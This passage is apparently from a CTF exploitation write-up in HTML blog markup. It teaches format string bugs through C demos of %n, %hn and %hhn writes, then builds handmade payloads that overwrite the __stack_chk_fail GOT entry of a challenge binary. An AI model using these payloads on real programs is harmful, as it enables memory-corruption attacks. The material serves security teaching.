type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/ac9f15feb0e419576355100921876220/1b747/image-20240606235215536.png\"\n            alt=\"image-20240606235215536\"\n            title=\"image-20240606235215536\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>In this case, the Dockerfile was also provided, so we can confirm that the libc version is <code class=\"language-text\">2.35-0ubuntu3.6</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 658px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/a59b90a62d83a6b7def6013b01169579/889a4/image-20240606235817115.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 38.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkklEQVQoz21S104CURDdRBFL7FGDqBRR2tKXsktZytJ7X0QCvBj//weOd8aExMjDZCZz586Zc2akaaqNfqTK1pXLaAeKGMUb6ARL6IcN1N9ySF0HkLjwQj5yInzsRuTkFdFTz16TtlUTs0yXm/REg7IjjZoni4a3wN5wq6g4M8jb4lDvQsjcyoifexG2urk5Wcjq2sXSMFYHTTlKNDBLdzBONDFWmhx3xMQTpYW52uMcAdK74dag2xPQnxQUn5MMmrPFOJamyTZ/oOKF1ocpjEBMkVtkB5gkW1jpY45JFgInFvX3PJt2H0H6JojklV9YQDQUBXNBeaVP8N1ZM33DpaIXqrCOw1gNy9wQy/wQm8qcG5PWBLouz4TmJZaGNCYZJCoYRGus4Yf4WHammUr2IYL8Y5wX4pPsCBy8IHjogGxx8nLIBy2Of0uSNgKF0LcCfWuY+CyMedKv1oonoq0TQEFoplz6d5/Zn/3dMOWkrqBG+i31EVr+35OhcyG6NDm90cIGdFaitvqqoenTURGy7DufHzuwBdZ8QxJwAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/a59b90a62d83a6b7def6013b01169579/8ac56/image-20240606235817115.webp 240w,\n/static/a59b90a62d83a6b7def6013b01169579/d3be9/image-20240606235817115.webp 480w,\n/static/a59b90a62d83a6b7def6013b01169579/6ad61/image-20240606235817115.webp 658w\"\n              sizes=\"(max-width: 658px) 100vw, 658px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/a59b90a62d83a6b7def6013b01169579/8ff5a/image-20240606235817115.png 240w,\n/static/a59b90a62d83a6b7def6013b01169579/e85cb/image-20240606235817115.png 480w,\n/static/a59b90a62d83a6b7def6013b01169579/889a4/image-20240606235817115.png 658w\"\n            sizes=\"(max-width: 658px) 100vw, 658px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/a59b90a62d83a6b7def6013b01169579/889a4/image-20240606235817115.png\"\n            alt=\"image-20240606235817115\"\n            title=\"image-20240606235817115\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h3 id=\"performing-a-got-override-with-fsb\" style=\"position:relative;\"><a href=\"#performing-a-got-override-with-fsb\" aria-label=\"performing a got override with fsb permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Performing a GOT Override with FSB</h3>\n<p>We’ve confirmed that FSB can leak the Canary and libc function addresses. However, in the current implementation of <code class=\"language-text\">go</code>, once the input is received and printed via printf, the program exits.</p>\n<p>Since the binary running on the challenge server is not fork-based, and the Canary and library load addresses are randomized each run, we cannot chain the leaked data into an exploit as things stand.</p>\n<p>To work around this, we need to use techniques like BoF or GOT override to force the vulnerable input-accepting function to execute repeatedly.</p>\n<p>As confirmed earlier, this binary has PIE disabled and uses Partial RELRO, so a GOT override should be feasible.</p>\n<p>Let’s identify a suitable target for the GOT override that we can use to re-execute the <code class=\"language-text\">go</code> function.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 373px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/821766aa7f2ac9d55354319a6f2ec3d4/67a5d/image-20240607221710176.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 30.83333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABHklEQVQY01XR3XKDIBAF4LxANGAbGwXUSEAQNLHN9Of93+t01dq0F8y5Yb85O7tjjKFRBaKRUGWOYCvUIkekbNUJSZKAZxw6Wvi3AHv19BxEI1EUJbrO4nA4IE3TJXczGEyFydULcPMNzuoFT5yBs/UjzzIYguLHSGiEmzzKWkCpCqHvlz8LmBLIadBpiYkg05QIFwXXCmqscHzOfhoSODqE9xHuNVAOCyiVgvce+mLQnhvs93vsZJHjHloMBMyt5trszwprQ/4LdlNA/LxB6QpSrqAx9gGKU46xq+Cp5QZs2APcVr4uDYevCeoygzTnexhrodvzCpanI+6xhSqOtN5/aEvG6SiBjkLY3LS/R8hWQQhJR3HQWqOpKyQEfgMnSqGykpipqQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/821766aa7f2ac9d55354319a6f2ec3d4/8ac56/image-20240607221710176.webp 240w,\n/static/821766aa7f2ac9d55354319a6f2ec3d4/48a24/image-20240607221710176.webp 373w\"\n              sizes=\"(max-width: 373px) 100vw, 373px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/821766aa7f2ac9d55354319a6f2ec3d4/8ff5a/image-20240607221710176.png 240w,\n/static/821766aa7f2ac9d55354319a6f2ec3d4/67a5d/image-20240607221710176.png 373w\"\n            sizes=\"(max-width: 373px) 100vw, 373px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/821766aa7f2ac9d55354319a6f2ec3d4/67a5d/image-20240607221710176.png\"\n            alt=\"image-20240607221710176\"\n            title=\"image-20240607221710176\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Of these targets, overriding <code class=\"language-text\">__stack_chk_fail</code> — which is called when the Canary is corrupted — lets us simultaneously re-execute <code class=\"language-text\">go</code> and prevent the process from terminating if BoF occurs.</p>\n<p>To perform the GOT override via FSB, it is convenient to use pwntools’ <code class=\"language-text\">fmtstr_payload</code>.</p>\n<p>However, our goal is not to be script kiddies, so let’s practice the FSB-based GOT override with a handmade payload.</p>\n<p>As summarized earlier, FSB uses the <code class=\"language-text\">%n</code> format specifier to overwrite a value at a memory address.</p>\n<p><code class=\"language-text\">%n</code> writes the number of characters printed by printf up to that point to the pointer argument.</p>\n<p>For example, running the following code prints <code class=\"language-text\">5</code> on the line after <code class=\"language-text\">ABCD</code>:</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdio.h></span></span>\n<span class=\"token keyword\">int</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">char</span><span class=\"token operator\">*</span> buf<span class=\"token punctuation\">[</span><span class=\"token number\">10</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"ABCDE%n\\n\"</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">&amp;</span>buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%d\"</span><span class=\"token punctuation\">,</span> buf<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>This is because <code class=\"language-text\">ABCDE%n\\n</code> stores the count of characters printed before <code class=\"language-text\">%n</code> (which is 5) into the address of <code class=\"language-text\">buf</code>.</p>\n<p>By applying this specifier, FSB can write an arbitrary byte value to a specified pointer address.</p>\n<p>Several techniques can be used for more flexible memory overwriting.</p>\n<p>First, you can use a specifier like <code class=\"language-text\">%100c</code>.</p>\n<p>Using <code class=\"language-text\">%100c</code> lets you write a specific value without actually providing 100 characters as arguments — simply outputting the specified amount of padding — so you can use a shorter notation like <code class=\"language-text\">%100c%n</code> to write a specific value.</p>\n<p>Running the following code confirms that the value of <code class=\"language-text\">buf</code> is overwritten with 100. (Note: <code class=\"language-text\">%100c</code> itself also needs an additional argument.)</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdio.h></span></span>\n<span class=\"token keyword\">int</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">int</span> buf <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%100c%n\\n\"</span><span class=\"token punctuation\">,</span><span class=\"token constant\">NULL</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%d\"</span><span class=\"token punctuation\">,</span> buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Also, <code class=\"language-text\">%hhn</code> writes 1 byte, <code class=\"language-text\">%hn</code> writes 2 bytes (short), and <code class=\"language-text\">%n</code> writes 4 bytes (int).</p>\n<p>Detailed information on this behavior is hard to find, but it is likely achieved by the cast in the following section of printf:</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">case</span> <span class=\"token char\">'n'</span><span class=\"token operator\">:</span>\n    ptr <span class=\"token operator\">=</span> <span class=\"token function\">va_arg</span><span class=\"token punctuation\">(</span>ap<span class=\"token punctuation\">,</span> <span class=\"token keyword\">void</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>flags <span class=\"token operator\">&amp;</span> LONGLONGFLAG<span class=\"token punctuation\">)</span>\n        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span> <span class=\"token keyword\">long</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>ptr <span class=\"token operator\">=</span> chars_written<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>flags <span class=\"token operator\">&amp;</span> LONGFLAG<span class=\"token punctuation\">)</span>\n        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">long</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>ptr <span class=\"token operator\">=</span> chars_written<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>flags <span class=\"token operator\">&amp;</span> HALFHALFFLAG<span class=\"token punctuation\">)</span>\n        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">signed</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>ptr <span class=\"token operator\">=</span> chars_written<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>flags <span class=\"token operator\">&amp;</span> HALFFLAG<span class=\"token punctuation\">)</span>\n        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">short</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>ptr <span class=\"token operator\">=</span> chars_written<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>flags <span class=\"token operator\">&amp;</span> SIZETFLAG<span class=\"token punctuation\">)</span>\n        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">size_t</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>ptr <span class=\"token operator\">=</span> chars_written<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">else</span> \n        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>ptr <span class=\"token operator\">=</span> chars_written<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>Reference: <a href=\"https://android.googlesource.com/kernel/lk/+/9d564f1bd646819a9824c5a55c73521cb4f8fb81/lib/libc/printf.c\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">lib/libc/printf.c - kernel/lk - Git at Google</a></p>\n<p>Testing with the following code confirms: with <code class=\"language-text\">%hhn</code>, only the lower 1 byte of <code class=\"language-text\">buf</code> is overwritten; with <code class=\"language-text\">%hn</code>, only the lower 2 bytes; and with <code class=\"language-text\">%n</code>, all bytes are overwritten.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdio.h></span></span>\n<span class=\"token keyword\">int</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// 0xFFF -> 0xFF</span>\n    <span class=\"token keyword\">int</span> buf <span class=\"token operator\">=</span> <span class=\"token number\">0x0DDDDDDD</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%4095c%hhn\\n\"</span><span class=\"token punctuation\">,</span><span class=\"token constant\">NULL</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%x\"</span><span class=\"token punctuation\">,</span> buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token comment\">// 0xFFFFF -> 0xFFFF</span>\n    buf <span class=\"token operator\">=</span> <span class=\"token number\">0x0DDDDDDD</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%1048575c%hn\\n\"</span><span class=\"token punctuation\">,</span><span class=\"token constant\">NULL</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%x\"</span><span class=\"token punctuation\">,</span> buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    \n    <span class=\"token comment\">// 0xFFFFFFFF</span>\n    buf <span class=\"token operator\">=</span> <span class=\"token number\">0x0DDDDDDD</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%268435455c%n\\n\"</span><span class=\"token punctuation\">,</span><span class=\"token constant\">NULL</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%x\"</span><span class=\"token punctuation\">,</span> buf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Also, as you can see when running this code, executing <code class=\"language-text\">printf(\"%268435455c%n\\n\",NULL,&amp;buf);</code> outputs an enormous amount of padding.</p>\n<p>Performing such an operation against a remote machine would generate hundreds of MB to several GB of network traffic, risking attack failure due to network load or payload send delays.</p>\n<p>Therefore, unless there are input-size restrictions that prevent it, it is better to overwrite memory in short or byte units.</p>\n<p><em>Note: pwntools’ <code class=\"language-text\">fmtstr_payload</code> defaults to <code class=\"language-text\">write_size='byte'</code>.</em></p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">fmtstr_payload</span><span class=\"token punctuation\">(</span>offset<span class=\"token punctuation\">,</span> writes<span class=\"token punctuation\">,</span> numbwritten<span class=\"token operator\">=</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> write_size<span class=\"token operator\">=</span><span class=\"token string\">'byte'</span><span class=\"token punctuation\">,</span> write_size_max<span class=\"token operator\">=</span><span class=\"token string\">'long'</span><span class=\"token punctuation\">,</span> overflows<span class=\"token operator\">=</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> strategy<span class=\"token operator\">=</span><span class=\"token string\">\"small\"</span><span class=\"token punctuation\">,</span> badbytes<span class=\"token operator\">=</span><span class=\"token builtin\">frozenset</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> offset_bytes<span class=\"token operator\">=</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> no_dollars<span class=\"token operator\">=</span><span class=\"token boolean\">False</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Now let’s create a payload to redirect the <code class=\"language-text\">__stack_chk_fail</code> GOT so that the <code class=\"language-text\">go</code> function is called when the Canary is corrupted.</p>\n<p>The GOT address of <code class=\"language-text\">__stack_chk_fail</code> is <code class=\"language-text\">0x404018</code>, and the call address of <code class=\"language-text\">go</code> is <code class=\"language-text\">0x401196</code>.</p>\n<p>Let’s first try the following payload:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">%4198806c%8<span class=\"token variable\">$n</span><span class=\"token punctuation\">\\</span>x90<span class=\"token punctuation\">\\</span>x90<span class=\"token punctuation\">\\</span>x90<span class=\"token punctuation\">\\</span>x18@@<span class=\"token punctuation\">\\</span>x00<span class=\"token punctuation\">\\</span>x00<span class=\"token punctuation\">\\</span>x00<span class=\"token punctuation\">\\</span>x00<span class=\"token punctuation\">\\</span>x00</code></pre></div>\n<p>This payload consists of: <code class=\"language-text\">&lt;0x401196 bytes of padding> + &lt;write as int to the pointer held by the 7th stack argument> + &lt;alignment padding> + p64(0x401196)</code>.</p>\n<p>Sending this payload to the binary confirms that the GOT address pointed to by <code class=\"language-text\">__stack_chk_fail</code> has been successfully overwritten to <code class=\"language-text\">0x401196</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 735px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/c133ccd006ec3ceacbd4ad37b84ff677/7608e/image-20240609200650367.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 130.41666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAaCAYAAAC3g3x9AAAACXBIWXMAAAsTAAALEwEAmpwYAAAErElEQVRIx21V2XbaSBTUiw1St/Z9Y5FYDAKxCTAYZpxk/v+XakoiyYljP9RpkM3tunVvlRQ58GBlIcpyiWg4gkgdTLwUmRdByx3IxIXMcxiDGCKxMQ4S1P4AYRBCG/DvscvnDvSBD8sLobhOiMP+iKKcYvFSESvolgPb8WGbHpIgQ+Dl8JwYumqir+l4FhIqT6kaENpPtJ+FASVOYlyvF2w2NbbbLbGB49pwycbyTUQvIYxEQPV6ZKJBc1RITUBKASEf559QoijC6+srqqrCer1Gva7heA7SMoO0dHjjAMmELEcR3KGHmKdpmGTTFpAs+hGK73t4e7t2BQ+HA5luEIU+JsUYSRzg7VTj7bzD6qXAdjXHqlrBMHQW1B6sxEcoSTrEfn/AbDZDkiQIwxC6zh9IjadAHGrU06SOAral4ulZhdbqJ8nyEywo63oPL1mib6/Qsyr07DUGozmq9QEvyy2m8w1m1QXTlz2Wqz22+zPSbAxVWJC6A9HBJtzuVL6/35CMGjy7F2jhDWpwx2JR4cf3d/z34xvutyul2OJ6u+B0OiKOo0e7XYvaJyjXyxnRYIuec4LmX6D6r4jiFHmxQz55Q5jkSKWOgm1GjoPReIwszdi29vVQ7rw5Gu7xRIZq8Mb1eEVKXet6g3IyI6O4u9ngP+u65ECMh8bi80C6oYyKBbyw5D/SJfYMml3A4pSjlMtMV+imD1U60DqN3N/nZ/jdqeSjEZI0QWaQgZlAOgMI2kn3AsTJiBO2eZnkAPSuJfkH/m5XUhqlatsbUJcohDAIc4K+WUI1C7Jpbecg4q7qXAmhCmhsS6UEXcv8LrRfYFFaUnEin1ZzkKcl7DCG6prI7RCh7XPqFgfFkAgLiCiD8F2kboyJm8FzGQ4Rg4OXtc8lTWAyFxTJRU6Kstu9dFQiHA8ROgk8j2EQBbBTDiUeQgtYmD9swySyaD9eKAJq5xJeW9hnqHhQ2hh6/+dfTrVG0zRMngaWbcGzbTi6iaEfwGE7xnMfVo8uee6hp33VsuieKRmz7na7dQVbC+52+y4cwpHH+LIwYKsFNU7CBDlRDIaw+Fxo4sNwfn0mQx/fvr13sXVsDiy6Y3i6GI8z7qCL+33JC2vstmNstiXmizl0Q3Zef4TDX06xKXK12jFg55jOKkymSxh0hAwNGD5zcaZDTxm2qQUjFegHJvS8TXF62CSk/dPLD08rTXOCEy3wZLb22+HZ3qFk0aZ5JaMGq9UB682FOJL9mb4+M5UGUNW/E8d6pM31ckI8ZDGXXg4YEP6ZLGddit/vNxyPDarlC4fFTFxVcLjov7Pwqzw8HQ8I87pjp3kN93APnyuSjtZIxkcEUYqEDhhy0rHrIeCaWZZFiUpEUfwpJDqGbdo8OQeyOzIcGraUkVWFcTF5BC5/ZPB2owsHvWNmmkYXFuLDUMiwnC7gRgV9PIBm0XbWrHNMNiwYYzksLrJGwaXhEe5P8RkW7TCk8/u70L1HOAypX5ZukDJpzOjMt12FsDRh0yUBX6G6QfvRo72+1kETLUO+Mr8EwyG2lkisGnnCd8tuil09RplJzIYCWdyH7+qdZvP5DNPppBvKQ7ev8/B/i2CV3E6RVF8AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/c133ccd006ec3ceacbd4ad37b84ff677/8ac56/image-20240609200650367.webp 240w,\n/static/c133ccd006ec3ceacbd4ad37b84ff677/d3be9/image-20240609200650367.webp 480w,\n/static/c133ccd006ec3ceacbd4ad37b84ff677/ed0c4/image-20240609200650367.webp 735w\"\n              sizes=\"(max-width: 735px) 100vw, 735px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/c133ccd006ec3ceacbd4ad37b84ff677/8ff5a/image-20240609200650367.png 240w,\n/static/c133ccd006ec3ceacbd4ad37b84ff677/e85cb/image-20240609200650367.png 480w,\n/static/c133ccd006ec3ceacbd4ad37b84ff677/7608e/image-20240609200650367.png 735w\"\n            sizes=\"(max-width: 735px) 100vw, 735px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/c133ccd006ec3ceacbd4ad37b84ff677/7608e/image-20240609200650367.png\"\n            alt=\"image-20240609200650367\"\n            title=\"image-20240609200650367\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>However, as noted above, this payload would output 0x404018 bytes of data.</p>\n<p>So next we’ll refine the payload to overwrite the memory address in byte or short units.</p>\n<p>The payload generated by the following Python script also successfully overrides the GOT address of <code class=\"language-text\">__stack_chk_fail</code> to <code class=\"language-text\">0x401196</code>:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token string\">b\"%17c%12$hhn%47c%13$hhn%86c%11$hhn\"</span> <span class=\"token operator\">+</span> <span class=\"token string\">b\"\\x90\"</span><span class=\"token operator\">*</span><span class=\"token number\">7</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x404018</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x404019</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x40401a</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>In this payload, <code class=\"language-text\">%17c%12$hhn</code> writes <code class=\"language-text\">0x11</code> to <code class=\"language-text\">0x404019</code>, <code class=\"language-text\">%47c%13$hhn%</code> writes <code class=\"language-text\">0x40</code> to <code class=\"language-text\">0x40401a</code>, and <code class=\"language-text\">%86c%11$hhn</code> writes <code class=\"language-text\">0x96</code> to <code class=\"language-text\">0x404018</code>.</p>\n<p>Since the value written by <code class=\"language-text\">%n</code> changes based on the number of characters printf has output so far, we determine the write order and the <code class=\"language-text\">%c</code> output values by sorting from smallest to largest and taking the difference each time.</p>\n<p>Therefore, when writing in byte units, the total data output by printf can be kept to around 0xFF (+α).</p>\n<p>Also, the following payload uses <code class=\"language-text\">%hn</code> to overwrite memory in short units, which also achieves the GOT override:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token string\">b\"%64c%10$hn%4438c%9$hn\"</span> <span class=\"token operator\">+</span> <span class=\"token string\">b\"\\x90\"</span><span class=\"token operator\">*</span><span class=\"token number\">3</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x404018</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> p64<span class=\"token punctuation\">(</span><span class=\"token number\">0x40401a</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Here, <code class=\"language-text\">%64c%10$hn</code> writes <code class=\"language-text\">0x0040</code> to <code class=\"language-text\">0x40401a</code>, and <code class=\"language-text\">%4438c%9$hn</code> writes <code class=\"language-text\">0x1196</code> to <code class=\"language-text\">0x404018</code>, performing the override.</p>\n<p>When writing in short units, the same approach as byte units is used: sort by smallest value and take the difference each time.</p>\n<p>With this, we’ve successfully handcrafted a payload for a FSB-based GOT override.</p>\n<p>That said, when actually solving CTF problems, you’ll want to create payloads more easily.</p>\n<p>So let’s use pwntools’ <code class=\"language-text\">fmtstr_payload</code> function, which we introduced earlier.</p>\n<p>The <code class=\"language-text\">fmtstr_payload</code> function is defined with the following default parameters:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">fmtstr_payload</span><span class=\"token punctuation\">(</span>offset<span class=\"token punctuation\">,</span> writes<span class=\"token punctuation\">,</span> numbwritten<span class=\"token operator\">=</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> write_size<span class=\"token operator\">=</span><span class=\"token string\">'byte'</span><span class=\"token punctuation\">,</span> write_size_max<span class=\"token operator\">=</span><span class=\"token string\">'long'</span><span class=\"token punctuation\">,</span> overflows<span class=\"token operator\">=</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> strategy<span class=\"token operator\">=</span><span class=\"token string\">\"small\"</span><span class=\"token punctuation\">,</span> badbytes<span class=\"token operator\">=</span><span class=\"token builtin\">frozenset</span><span 